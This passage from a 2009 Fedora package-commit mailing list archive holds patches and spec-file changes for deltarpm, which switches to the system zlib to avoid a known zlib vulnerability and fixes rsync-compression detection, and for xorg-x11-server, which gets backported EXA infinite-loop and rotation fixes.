++		      if (i)
++			{
++			    break;
++			}
++#endif
+ 		      cstrm[i].avail_in = sizeof(dbuf) - dstrm.avail_out;
+ 		      cstrm[i].next_in = dbuf;
+ 		      while (cstrm[i].avail_in)
+@@ -971,14 +998,23 @@ cfile_detect_rsync(struct cfile *f)
+ 			  cstrm[i].avail_out = sizeof(cbuf);
+ 			  cstrm[i].next_out = cbuf;
+ 			  ret = deflate(&cstrm[i], dret == Z_STREAM_END ? Z_FINISH : Z_NO_FLUSH);
++			  /* Any errors in compressing, set to the other
++			   * compression algorithm
++			   */
+ 			  if (ret != Z_OK && ret != Z_STREAM_END)
+ 			    {
+ 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
+ 			      done = 1;
+ 			      break;
+ 			    }
++			  /* if compression yielded something
++			   */
+ 			  if (cstrm[i].avail_out != sizeof(cbuf))
+ 			    {
++			      /* If the newly compressed block is not equal to
++			       * the original compressed payload, set to the
++			       * opposite compression algorithm
++			       */
+ 			      if (memcmp(b + p[i], cbuf, sizeof(cbuf) - cstrm[i].avail_out))
+ 				{
+ 				  comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
+@@ -987,6 +1023,14 @@ cfile_detect_rsync(struct cfile *f)
+ 				}
+ 			      p[i] += sizeof(cbuf) - cstrm[i].avail_out;
+ 			    }
++			  /* If the input stream is not empty but the
++			   * compressor says that the stream is empty we have
++			   * an error.  Set to the opposite compression
++			   * algorithm.
++			   *
++			   * Note -- This code looks wrong:
++			   * Should be Z_STREAM_END, not BZ_STREAM_END
++			   */
+ 			  if (cstrm[i].avail_in && ret == BZ_STREAM_END)
+ 			    {
+ 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
+@@ -1011,7 +1055,9 @@ cfile_detect_rsync(struct cfile *f)
+       b = b2;
+     }
+   deflateEnd(&cstrm[0]);
++#ifdef Z_RSYNCABLE
+   deflateEnd(&cstrm[1]);
++#endif
+   inflateEnd(&dstrm);
+   f->bufN = -1;
+   f->strm.gz.avail_in = 0;
+@@ -1053,16 +1099,6 @@ cfile_detect_rsync(struct cfile *f)
+   return comp == -1 ? -1 : 0;
+ }
  
- install:
- 	mkdir -p $(DESTDIR)$(bindir)
+-#else
+-
+-int
+-cfile_detect_rsync(struct cfile *f)
+-{
+-  return -1;
+-}
+-
+-#endif
+-
+ /*****************************************************************
+  *  our open function
+  */


Index: deltarpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/deltarpm/F-12/deltarpm.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- deltarpm.spec	30 Sep 2009 17:24:36 -0000	1.32
+++ deltarpm.spec	1 Oct 2009 05:40:54 -0000	1.33
@@ -3,7 +3,7 @@
 Summary: Create deltas between rpms
 Name: deltarpm
 Version: 3.5
-Release: 0.2.20090913git%{?dist}
+Release: 0.4.20090913git%{?dist}
 License: BSD
 Group: System Environment/Base
 URL: http://gitorious.org/deltarpm/deltarpm
@@ -55,13 +55,15 @@ This package contains python bindings fo
 %setup -q -n %{name}-git-20090913
 # Build with system zlib
 %patch0 -p1 -b .zlib
-%{__rm} -rf zlib-1.2.2.f-rsyncable
 
 %build
 %{__make} %{?_smp_mflags} CFLAGS="$RPM_OPT_FLAGS" \
-    bindir=%{_bindir} libdir=%{_libdir} mandir=%{_mandir} prefix=%{_prefix}
+    bindir=%{_bindir} libdir=%{_libdir} mandir=%{_mandir} prefix=%{_prefix} \
+    zlibbundled='' zlibldflags='-lz' zlibcppflags=''
 %{__make} %{?_smp_mflags} CFLAGS="$RPM_OPT_FLAGS" \
-    bindir=%{_bindir} libdir=%{_libdir} mandir=%{_mandir} prefix=%{_prefix} python
+    bindir=%{_bindir} libdir=%{_libdir} mandir=%{_mandir} prefix=%{_prefix} \
+    zlibbundled='' zlibldflags='-lz' zlibcppflags='' \
+    python
 
 %install
 %{__rm} -rf %{buildroot}
@@ -102,6 +104,15 @@ This package contains python bindings fo
 %{python_sitearch}/*
 
 %changelog
+* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.5-0.4.20090913git
+- Update patch to properly detect when an rpm is built with an rsync-friendly
+  zlib and bail out.
+
+* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.5-0.3.20090913git
+- Make building with system zlib selectable at build time.
+- Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
+  of making rsync-friendly compressed files.
+
 * Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.5-0.2.20090913git
 - Correct prerelease rlease numbering.
 - Build against the system zlib, not the bundled library.  This remedies the



From airlied at fedoraproject.org  Thu Oct  1 05:57:10 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Thu,  1 Oct 2009 05:57:10 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-12 xserver-1.6.99-exa-infinite-loop.patch,
	NONE, 1.1 xserver-1.6.99-rotate-wrapping-fix.patch, NONE,
	1.1 xorg-x11-server.spec, 1.490, 1.491
Message-ID: <20091001055711.1201C11C00C1@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/xorg-x11-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6906

Modified Files:
	xorg-x11-server.spec 
Added Files:
	xserver-1.6.99-exa-infinite-loop.patch 
	xserver-1.6.99-rotate-wrapping-fix.patch 
Log Message:
* Thu Oct 01 2009 Dave Airlie <airlied at redhat.com> 1.6.99.903-2
- backport EXA and rotate crash fixes


xserver-1.6.99-exa-infinite-loop.patch:
 exa_migration_classic.c |   11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

--- NEW FILE xserver-1.6.99-exa-infinite-loop.patch ---
>From fc599ab01ccaaff3c0bfc5a4d623efe725f175db Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michel=20D=C3=A4nzer?= <daenzer at vmware.com>
Date: Thu, 1 Oct 2009 15:15:19 +1000
Subject: [PATCH] exa: avoid infinite loops if UTS sw fallbacks.

The upload in finish access can cause an infinite loop if
UTS returns FALSE in here.

Signed-off-by: Dave Airlie <airlied at redhat.com>
---
 exa/exa_migration_classic.c |   10 +++++-----
 1 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/exa/exa_migration_classic.c b/exa/exa_migration_classic.c
index 4819af8..6d7b9f5 100644
--- a/exa/exa_migration_classic.c
+++ b/exa/exa_migration_classic.c
@@ -242,11 +242,6 @@ exaCopyDirty(ExaMigrationPtr migrate, RegionPtr pValidDst, RegionPtr pValidSrc,
 	pBox++;
     }
 
-    if (access_prepared)
-	exaFinishAccess(&pPixmap->drawable, fallback_index);
-    else if (need_sync && sync)
-	sync (pPixmap->drawable.pScreen);
-
     pExaPixmap->offscreen = save_offscreen;
     pPixmap->devKind = save_pitch;
 
@@ -261,6 +256,11 @@ exaCopyDirty(ExaMigrationPtr migrate, RegionPtr pValidDst, RegionPtr pValidSrc,
     REGION_UNION(pScreen, pValidDst, pValidDst, &CopyReg);
 
     REGION_UNINIT(pScreen, &CopyReg);
+
+    if (access_prepared)
+	exaFinishAccess(&pPixmap->drawable, fallback_index);
+    else if (need_sync && sync)
+	sync (pPixmap->drawable.pScreen);
 }
 
 /**
-- 
1.6.5.rc2


xserver-1.6.99-rotate-wrapping-fix.patch:
 xf86Rotate.c |   11 +++--------
 1 file changed, 3 insertions(+), 8 deletions(-)

--- NEW FILE xserver-1.6.99-rotate-wrapping-fix.patch ---
>From f1893a5a434e483ab40001e5a765902f7ce5ed4e Mon Sep 17 00:00:00 2001
From: Dave Airlie <airlied at redhat.com>
Date: Thu, 1 Oct 2009 15:24:04 +1000
Subject: [PATCH] rotate: drop unwrapping inside block handler.

Keith has shown half the block handlers wrappers are wrong, also
dynamic wrapping/unwrapping from what I can see will happen after
the drivers, so its really accidental ABI, that we can't change
now without modifing drivers. So be safe for 1.7.

Signed-off-by: Dave Airlie <airlied at redhat.com>
---
 hw/xfree86/modes/xf86Rotate.c |   10 +++-------
 1 files changed, 3 insertions(+), 7 deletions(-)

diff --git a/hw/xfree86/modes/xf86Rotate.c b/hw/xfree86/modes/xf86Rotate.c
index 9e65c99..5de6b0c 100644
--- a/hw/xfree86/modes/xf86Rotate.c
+++ b/hw/xfree86/modes/xf86Rotate.c
@@ -268,13 +268,9 @@ xf86RotateBlockHandler(int screenNum, pointer blockData,
     rotation_active = xf86RotateRedisplay(pScreen);
     pScreen->BlockHandler = xf86_config->BlockHandler;
     (*pScreen->BlockHandler) (screenNum, blockData, pTimeout, pReadmask);
-    if (rotation_active) {
-	/* Re-wrap if rotation is still happening */
-	xf86_config->BlockHandler = pScreen->BlockHandler;
-	pScreen->BlockHandler = xf86RotateBlockHandler;
-    } else {
-	xf86_config->BlockHandler = NULL;
-    }
+    /* cannot avoid re-wrapping until all wrapping is audited */
+    xf86_config->BlockHandler = pScreen->BlockHandler;
+    pScreen->BlockHandler = xf86RotateBlockHandler;
 }
 
 void
-- 
1.6.5.rc2



Index: xorg-x11-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/xorg-x11-server.spec,v
retrieving revision 1.490
retrieving revision 1.491
diff -u -p -r1.490 -r1.491
--- xorg-x11-server.spec	28 Sep 2009 12:10:42 -0000	1.490
+++ xorg-x11-server.spec	1 Oct 2009 05:57:08 -0000	1.491
@@ -19,7 +19,7 @@
 Summary:   X.Org X11 X server
 Name:      xorg-x11-server
 Version:   1.6.99.903
-Release:   1%{dist}
+Release:   2%{dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X
@@ -73,6 +73,10 @@ Patch6030: xserver-1.6.99-right-of.patch
 Patch6033: xserver-1.6.99-default-modes.patch
 Patch6044: xserver-1.6.99-hush-prerelease-warning.patch
 
+# upstream already
+Patch7000: xserver-1.6.99-rotate-wrapping-fix.patch
+Patch7001: xserver-1.6.99-exa-infinite-loop.patch
+
 %define moduledir	%{_libdir}/xorg/modules
 %define drimoduledir	%{_libdir}/dri
 %define sdkdir		%{_includedir}/xorg
@@ -500,6 +504,9 @@ rm -rf $RPM_BUILD_ROOT
 %{xserver_source_dir}
 
 %changelog
+* Thu Oct 01 2009 Dave Airlie <airlied at redhat.com> 1.6.99.903-2
+- backport EXA and rotate crash fixes
+
 * Mon Sep 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.6.99.903-1
 - xserver 1.6.99.903 
 



From toshio at fedoraproject.org  Thu Oct  1 06:16:50 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu,  1 Oct 2009 06:16:50 +0000 (UTC)
Subject: rpms/deltarpm/F-11 deltarpm-system-zlib.patch, NONE,
	1.1 deltarpm.spec, 1.17, 1.18
Message-ID: <20091001061650.4CC8811C00C1@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/deltarpm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9943

Modified Files:
	deltarpm.spec 
Added Files:
	deltarpm-system-zlib.patch 
Log Message:

* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-16
- Build against the system zlib, not the bundled library.  This remedies the
  fact that the included zlib is affected by CAN-2005-1849.
- Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
  of making rsync-friendly compressed files.


deltarpm-system-zlib.patch:
 Makefile |   21 ++++++++++++---------
 cfile.c  |   60 ++++++++++++++++++++++++++++++++++++++++++++++++------------
 2 files changed, 60 insertions(+), 21 deletions(-)

--- NEW FILE deltarpm-system-zlib.patch ---
Index: deltarpm-3.4/Makefile
===================================================================
--- deltarpm-3.4.orig/Makefile
+++ deltarpm-3.4/Makefile
@@ -3,29 +3,32 @@ bindir=$(prefix)/bin
 mandir=$(prefix)/man
 rpmdumpheader=$(bindir)/rpmdumpheader
 zlibdir=zlib-1.2.2.f-rsyncable
+zlibbundled=$(zlibdir)/libz.a
+zlibldflags=$(zlibbundled)
+zlibcppflags=-I$(zlibdir)
 CFLAGS = -O2 -Wall -g
-CPPFLAGS = -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" -I$(zlibdir)
-LDLIBS = -lbz2 $(zlibdir)/libz.a
+CPPFLAGS = -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" $(zlibcppflags)
+LDLIBS = -lbz2 $(zlibldflags)
 LDFLAGS =
 
 all: makedeltarpm applydeltarpm rpmdumpheader makedeltaiso applydeltaiso combinedeltarpm fragiso
 
-makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o sha256.o digest.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibdir)/libz.a
+makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o sha256.o digest.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibbundled)
 
-applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o sha256.o digest.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibdir)/libz.a
+applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o sha256.o digest.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibbundled)
 
-combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibdir)/libz.a
+combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibbundled)
 
 rpmdumpheader: rpmdumpheader.o
 	$(CC) $(LDFLAGS) $^ -lrpm -o $@
 
-makedeltaiso: makedeltaiso.o delta.o rpmoffs.o util.o md5.o cfile.o $(zlibdir)/libz.a
+makedeltaiso: makedeltaiso.o delta.o rpmoffs.o util.o md5.o cfile.o $(zlibbundled)
 
-applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibdir)/libz.a
+applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibbundled)
 
-fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibdir)/libz.a
+fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibbundled)
 
-$(zlibdir)/libz.a:
+$(zlibbundled):
 	cd $(zlibdir) ; make CFLAGS="$(CFLAGS)" libz.a
 
 clean:
Index: deltarpm-3.4/cfile.c
===================================================================
--- deltarpm-3.4.orig/cfile.c
+++ deltarpm-3.4/cfile.c
@@ -712,8 +712,6 @@ crunread_un(struct cfile *f, void *buf, 
 }
 
 
-#ifdef Z_RSYNCABLE
-
 int
 cfile_detect_rsync(struct cfile *f)
 {
@@ -743,10 +741,22 @@ cfile_detect_rsync(struct cfile *f)
     }
   for (i = 0; i < 2; i++)
     {
+#ifndef Z_RSYNCABLE
+      /* Rsync friendly zlib not available, don't set up a compressor for it
+       * */
+      if (i)
+	{
+	  break;
+	}
+#endif
       cstrm[i].zalloc = 0;
       cstrm[i].zfree = 0;
       cstrm[i].opaque = 0;
+#ifdef Z_RSYNCABLE
       if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY | (i == 1 ? Z_RSYNCABLE : 0)) != Z_OK)
+#else
+      if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY) != Z_OK)
+#endif
 	{
 	  if (i)
 	    deflateEnd(&cstrm[0]);
@@ -788,6 +798,23 @@ cfile_detect_rsync(struct cfile *f)
 		{
 		  for (i = 0; i < 2 && !done; i++)
 		    {
+#ifndef Z_RSYNCABLE
+		      /* No rsync friendly zlib so we can only test against
+		       * COMP_GZ.  This is suboptimal as it's only when we
+		       * run into an error that we can cut to the end.  So
+		       * we're forced to uncompress and recompress the whole
+		       * output.  Need to determine if we can determine that
+		       * we used the other algorithm is being used after
+		       * decompressing a certain amount of blocks.  Perhaps
+		       * after RSYNC_WIN or MAX_DIST blocks have been
+		       * decompressed we can know whether COMP_GZ_RSYNC was
+		       * used?
+		       */
+		      if (i)
+			{
+			    break;
+			}
+#endif
 		      cstrm[i].avail_in = sizeof(dbuf) - dstrm.avail_out;
 		      cstrm[i].next_in = dbuf;
 		      while (cstrm[i].avail_in)
@@ -795,14 +822,23 @@ cfile_detect_rsync(struct cfile *f)
 			  cstrm[i].avail_out = sizeof(cbuf);
 			  cstrm[i].next_out = cbuf;
 			  ret = deflate(&cstrm[i], dret == Z_STREAM_END ? Z_FINISH : Z_NO_FLUSH);
+			  /* Any errors in compressing, set to the other
+			   * compression algorithm
+			   */
 			  if (ret != Z_OK && ret != Z_STREAM_END)
 			    {
 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
 			      done = 1;
 			      break;
 			    }
+			  /* if compression yielded something
+			   */
 			  if (cstrm[i].avail_out != sizeof(cbuf))
 			    {
+			      /* If the newly compressed block is not equal to
+			       * the original compressed payload, set to the
+			       * opposite compression algorithm
+			       */
 			      if (memcmp(b + p[i], cbuf, sizeof(cbuf) - cstrm[i].avail_out))
 				{
 				  comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
@@ -811,6 +847,14 @@ cfile_detect_rsync(struct cfile *f)
 				}
 			      p[i] += sizeof(cbuf) - cstrm[i].avail_out;
 			    }
+			  /* If the input stream is not empty but the
+			   * compressor says that the stream is empty we have
+			   * an error.  Set to the opposite compression
+			   * algorithm.
+			   *
+			   * Note -- This code looks wrong:
+			   * Should be Z_STREAM_END, not BZ_STREAM_END
+			   */
 			  if (cstrm[i].avail_in && ret == BZ_STREAM_END)
 			    {
 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
@@ -835,7 +879,9 @@ cfile_detect_rsync(struct cfile *f)
       b = b2;
     }
   deflateEnd(&cstrm[0]);
+#ifdef Z_RSYNCABLE
   deflateEnd(&cstrm[1]);
+#endif
   inflateEnd(&dstrm);
   f->bufN = -1;
   f->strm.gz.avail_in = 0;
@@ -877,16 +923,6 @@ cfile_detect_rsync(struct cfile *f)
   return comp == -1 ? -1 : 0;
 }
 
-#else
-
-int
-cfile_detect_rsync(struct cfile *f)
-{
-  return -1;
-}
-
-#endif
-
 /*****************************************************************
  *  our open function
  */


Index: deltarpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/deltarpm/F-11/deltarpm.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- deltarpm.spec	26 Mar 2009 06:45:30 -0000	1.17
+++ deltarpm.spec	1 Oct 2009 06:16:48 -0000	1.18
@@ -1,7 +1,7 @@
 Summary: Create deltas between rpms
 Name: deltarpm
 Version: 3.4
-Release: 15%{?dist}
+Release: 16%{?dist}
 License: BSD
 Group: System Environment/Base
 URL: http://www.novell.com/products/linuxpackages/professional/deltarpm.html
@@ -10,12 +10,15 @@ Source: ftp://ftp.suse.com/pub/projects/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: bzip2-devel, rpm-devel, popt-devel
+BuildRequires: zlib-devel
 
 Patch0: deltarpm-3.4-multilib-workaround.patch
 Patch1: deltarpm-3.4-multilib-include-colored.patch
 Patch2: deltarpm-3.4-prelink-bugfix.patch
 Patch3: deltarpm-3.4-skipmd5.patch
 Patch4: deltarpm-3.4-sha256.patch
+# Build with system zlib
+Patch5: deltarpm-system-zlib.patch
 
 %description
 A deltarpm contains the difference between an old
@@ -31,10 +34,13 @@ deltarpms can also work with installed r
 %patch2 -p1 -b .prelink
 %patch3 -p1 -b .skipmd5
 %patch4 -p1 -b .sha256
+# Build with system zlib
+%patch5 -p1 -b .zlib
 
 %build
 %{__make} %{?_smp_mflags} CFLAGS="$RPM_OPT_FLAGS" \
-    bindir=%{_bindir} mandir=%{_mandir} prefix=%{_prefix}
+    bindir=%{_bindir} libdir=%{_libdir} mandir=%{_mandir} prefix=%{_prefix} \
+    zlibbundled='' zlibldflags='-lz' zlibcppflags=''
 
 %install
 %{__rm} -rf %{buildroot}
@@ -57,6 +63,12 @@ deltarpms can also work with installed r
 %{_bindir}/rpmdumpheader
 
 %changelog
+* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-16
+- Build against the system zlib, not the bundled library.  This remedies the
+  fact that the included zlib is affected by CAN-2005-1849.
+- Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
+  of making rsync-friendly compressed files.
+
 * Thu Mar 26 2009 Jonathan Dieter <jdieter at gmail.com> - 3.4-15
 - Fix bug when checking sequence with new sha256 file digests
 



From toshio at fedoraproject.org  Thu Oct  1 06:20:00 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu,  1 Oct 2009 06:20:00 +0000 (UTC)
Subject: rpms/deltarpm/F-11 deltarpm.spec,1.18,1.19
Message-ID: <20091001062000.474FC11C00C1@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/deltarpm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10336

Modified Files:
	deltarpm.spec 
Log Message:
Work around tag problem.



Index: deltarpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/deltarpm/F-11/deltarpm.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- deltarpm.spec	1 Oct 2009 06:16:48 -0000	1.18
+++ deltarpm.spec	1 Oct 2009 06:19:59 -0000	1.19
@@ -1,7 +1,7 @@
 Summary: Create deltas between rpms
 Name: deltarpm
 Version: 3.4
-Release: 16%{?dist}
+Release: 17%{?dist}
 License: BSD
 Group: System Environment/Base
 URL: http://www.novell.com/products/linuxpackages/professional/deltarpm.html
@@ -63,6 +63,9 @@ deltarpms can also work with installed r
 %{_bindir}/rpmdumpheader
 
 %changelog
+* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-17
+- Work around cvs tag problem
+
 * Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-16
 - Build against the system zlib, not the bundled library.  This remedies the
   fact that the included zlib is affected by CAN-2005-1849.



From toshio at fedoraproject.org  Thu Oct  1 06:25:55 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu,  1 Oct 2009 06:25:55 +0000 (UTC)
Subject: rpms/deltarpm/F-10 deltarpm-system-zlib.patch, NONE,
	1.1 deltarpm.spec, 1.13, 1.14
Message-ID: <20091001062555.E223411C00C1@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/deltarpm/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13543

Modified Files:
	deltarpm.spec 
Added Files:
	deltarpm-system-zlib.patch 
Log Message:

* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.4-11.1
- Build against the system zlib, not the bundled library.  This remedies the
  fact that the included zlib is affected by CAN-2005-1849.
- Fix cfile_detect_rsync() to detect rsync even if we don't have a zlib capable
  of making rsync-friendly compressed files.


deltarpm-system-zlib.patch:
 Makefile |   21 ++++++++++++---------
 cfile.c  |   60 ++++++++++++++++++++++++++++++++++++++++++++++++------------
 2 files changed, 60 insertions(+), 21 deletions(-)

--- NEW FILE deltarpm-system-zlib.patch ---
Index: deltarpm-3.4/Makefile
===================================================================
--- deltarpm-3.4.orig/Makefile
+++ deltarpm-3.4/Makefile
@@ -3,29 +3,32 @@ bindir=$(prefix)/bin
 mandir=$(prefix)/man
 rpmdumpheader=$(bindir)/rpmdumpheader
 zlibdir=zlib-1.2.2.f-rsyncable
+zlibbundled=$(zlibdir)/libz.a
+zlibldflags=$(zlibbundled)
+zlibcppflags=-I$(zlibdir)
 CFLAGS = -O2 -Wall -g
-CPPFLAGS = -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" -I$(zlibdir)
-LDLIBS = -lbz2 $(zlibdir)/libz.a
+CPPFLAGS = -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" $(zlibcppflags)
+LDLIBS = -lbz2 $(zlibldflags)
 LDFLAGS =
 
 all: makedeltarpm applydeltarpm rpmdumpheader makedeltaiso applydeltaiso combinedeltarpm fragiso
 
-makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibdir)/libz.a
+makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibbundled)
 
-applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibdir)/libz.a
+applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibbundled)
 
-combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibdir)/libz.a
+combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibbundled)
 
 rpmdumpheader: rpmdumpheader.o
 	$(CC) $(LDFLAGS) $^ -lrpm -o $@
 
-makedeltaiso: makedeltaiso.o delta.o rpmoffs.o util.o md5.o cfile.o $(zlibdir)/libz.a
+makedeltaiso: makedeltaiso.o delta.o rpmoffs.o util.o md5.o cfile.o $(zlibbundled)
 
-applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibdir)/libz.a
+applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibbundled)
 
-fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibdir)/libz.a
+fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibbundled)
 
-$(zlibdir)/libz.a:
+$(zlibbundled):
 	cd $(zlibdir) ; make CFLAGS="$(CFLAGS)" libz.a
 
 clean:
Index: deltarpm-3.4/cfile.c
===================================================================
--- deltarpm-3.4.orig/cfile.c
+++ deltarpm-3.4/cfile.c
@@ -712,8 +712,6 @@ crunread_un(struct cfile *f, void *buf, 
 }
 
 
-#ifdef Z_RSYNCABLE
-
 int
 cfile_detect_rsync(struct cfile *f)
 {
@@ -743,10 +741,22 @@ cfile_detect_rsync(struct cfile *f)
     }
   for (i = 0; i < 2; i++)
     {
+#ifndef Z_RSYNCABLE
+      /* Rsync friendly zlib not available, don't set up a compressor for it
+       * */
+      if (i)
+	{
+	  break;
+	}
+#endif
       cstrm[i].zalloc = 0;
       cstrm[i].zfree = 0;
       cstrm[i].opaque = 0;
+#ifdef Z_RSYNCABLE
       if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY | (i == 1 ? Z_RSYNCABLE : 0)) != Z_OK)
+#else
+      if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY) != Z_OK)
+#endif
 	{
 	  if (i)
 	    deflateEnd(&cstrm[0]);
@@ -788,6 +798,23 @@ cfile_detect_rsync(struct cfile *f)
 		{
 		  for (i = 0; i < 2 && !done; i++)
 		    {
+#ifndef Z_RSYNCABLE
+		      /* No rsync friendly zlib so we can only test against
+		       * COMP_GZ.  This is suboptimal as it's only when we
+		       * run into an error that we can cut to the end.  So
+		       * we're forced to uncompress and recompress the whole
+		       * output.  Need to determine if we can determine that
+		       * we used the other algorithm is being used after
+		       * decompressing a certain amount of blocks.  Perhaps
+		       * after RSYNC_WIN or MAX_DIST blocks have been
+		       * decompressed we can know whether COMP_GZ_RSYNC was
+		       * used?
+		       */
+		      if (i)
+			{
+			    break;
+			}
+#endif
 		      cstrm[i].avail_in = sizeof(dbuf) - dstrm.avail_out;
 		      cstrm[i].next_in = dbuf;
 		      while (cstrm[i].avail_in)
@@ -795,14 +822,23 @@ cfile_detect_rsync(struct cfile *f)
 			  cstrm[i].avail_out = sizeof(cbuf);
 			  cstrm[i].next_out = cbuf;
 			  ret = deflate(&cstrm[i], dret == Z_STREAM_END ? Z_FINISH : Z_NO_FLUSH);
+			  /* Any errors in compressing, set to the other
+			   * compression algorithm
+			   */
 			  if (ret != Z_OK && ret != Z_STREAM_END)
 			    {
 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
 			      done = 1;
 			      break;
 			    }
+			  /* if compression yielded something
+			   */
 			  if (cstrm[i].avail_out != sizeof(cbuf))
 			    {
+			      /* If the newly compressed block is not equal to
+			       * the original compressed payload, set to the
+			       * opposite compression algorithm
+			       */
 			      if (memcmp(b + p[i], cbuf, sizeof(cbuf) - cstrm[i].avail_out))
 				{
 				  comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
@@ -811,6 +847,14 @@ cfile_detect_rsync(struct cfile *f)
 				}
 			      p[i] += sizeof(cbuf) - cstrm[i].avail_out;
 			    }
+			  /* If the input stream is not empty but the
+			   * compressor says that the stream is empty we have
+			   * an error.  Set to the opposite compression
+			   * algorithm.
+			   *
+			   * Note -- This code looks wrong:
+			   * Should be Z_STREAM_END, not BZ_STREAM_END
+			   */
 			  if (cstrm[i].avail_in && ret == BZ_STREAM_END)
 			    {
 			      comp = i ? CFILE_COMP_GZ: CFILE_COMP_GZ_RSYNC;
@@ -835,7 +879,9 @@ cfile_detect_rsync(struct cfile *f)
       b = b2;
     }
